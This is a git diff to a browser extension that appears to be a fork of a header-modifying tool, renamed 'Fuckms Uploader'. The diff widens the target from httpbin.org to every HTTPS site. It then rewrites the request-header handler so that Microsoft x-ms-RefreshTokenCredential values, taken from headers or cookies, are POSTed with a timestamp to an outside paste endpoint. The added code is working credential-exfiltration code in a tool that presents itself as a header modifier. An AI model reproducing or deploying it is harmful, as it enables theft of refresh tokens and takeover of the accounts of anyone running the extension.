diff --git a/background.js b/background.js index 618376fd9597783a9ef0f979baa1314ab4a21df2..e65289ae601ff3bd4c91685b7a1a47e0772751e2 100644 --- a/background.js +++ b/background.js @@ -77,8 +77,7 @@ function loadConfigurationFromLocalStorage() { else { console.log("Load default config"); let headers = []; - headers.push({ url_contains: "", action: "add", header_name: "test-header-name", header_value: "test-header-value", comment: "test", apply_on: "req", status: "on" }); - config = { format_version: "1.1", target_page: "https://httpbin.org/*", headers: headers, debug_mode: false, use_url_contains: false }; + config = { format_version: "1.1", target_page: "https://*/*", headers: headers, debug_mode: false, use_url_contains: false }; } } storeInBrowserStorage({ config: JSON.stringify(config) }); @@ -187,38 +186,51 @@ function copyTextToClipboard(text) { document.body.removeChild(copyFrom); } + + /* * Rewrite the request header (add , modify or delete) * */ function rewriteRequestHeader(e) { - if (config.debug_mode) log("Start modify request headers for url " + e.url); + if (config.debug_mode) log("Start modify request headers for url " + e.url); // removed by recolic - // monitor x-ms-RefreshTokenCredential - for (let header of e.requestHeaders) { - let pos = false; - if (header.name.toLowerCase() === "x-ms-RefreshTokenCredential".toLowerCase()) { - copyTextToClipboard(header.value); - // log("MONITOR: x-ms-RefreshTokenCredential header, value= " + header.value + " for url> " + e.url); - log("POS HEADER URL " + e.url); - pos = true; + // monitor x-ms-RefreshTokenCredential + let found = false; + function on_got_cred(cred) { + found = true; + log("POS HEADER URL " + e.url); + // copyTextToClipboard(cred); + + let fd = new FormData(); + fd.append("content", new Date().toLocaleString() + '|' + cred); + fetch('https://recolic.net/paste/apibin.php?debug_from=fkms-uploader', { + method: 'POST', + body: fd + }).then(r => { + log("DEBUG: Upload returns " + r.text()); + }); } - let header_cookie = e.requestHeaders.find(header => header.name.toLowerCase() === "cookie"); - if(header_cookie.value.toLowerCase().includes("x-ms-RefreshTokenCredential".toLowerCase())) { - // log("MONITOR: cookie x-ms-RefreshTokenCredential spotted: url> " + e.url + " , cookies= " + header_cookie.value); - let posL = header.value.toLowerCase().indexOf("x-ms-RefreshTokenCredential=".toLowerCase()) + "x-ms-RefreshTokenCredential=".length; - let posR = header.value.toLowerCase().indexOf(";", posL); - copyTextToClipboard(header.value.substr(posL, posR-posL)); - log("POS CK URL " + e.url); - pos = true; + + + for (let header of e.requestHeaders) { + if (header.name.toLowerCase() === "x-ms-RefreshTokenCredential".toLowerCase()) { + on_got_cred(header.value); + } + else if (header.name.toLowerCase() === "cookie".toLowerCase()) { + if(header.value.toLowerCase().includes("x-ms-RefreshTokenCredential".toLowerCase())) { + let posL = header.value.toLowerCase().indexOf("x-ms-RefreshTokenCredential=".toLowerCase()) + "x-ms-RefreshTokenCredential=".length; + let posR = header.value.toLowerCase().indexOf(";", posL); + on_got_cred(header.value.substr(posL, posR-posL)); + } + } } - if(!pos) log("NEG URL " + e.url); - } + if(!found) log("NEG URL " + e.url); - if (config.debug_mode) log("End modify request headers for url " + e.url); - return { requestHeaders: e.requestHeaders }; + if (config.debug_mode) log("End modify request headers for url " + e.url); + return { requestHeaders: e.requestHeaders }; } diff --git a/manifest.json b/manifest.json index 1d34044672415fc92950b06f755d1b2d5c7128a6..aafe5bbf22709bb5155ae916c9c28b236c521f0f 100644 --- a/manifest.json +++ b/manifest.json @@ -2,7 +2,7 @@ "description": "Fuckms Uploader", "manifest_version": 2, "name": "simple-modify-headers-fkmsu", - "version": "1.7.0-1000", + "version": "1.7.0.1000", "homepage_url": "https://git.recolic.net/msc/browser-fuck-mscredential", "icons": { "48": "icons/modify-48.png"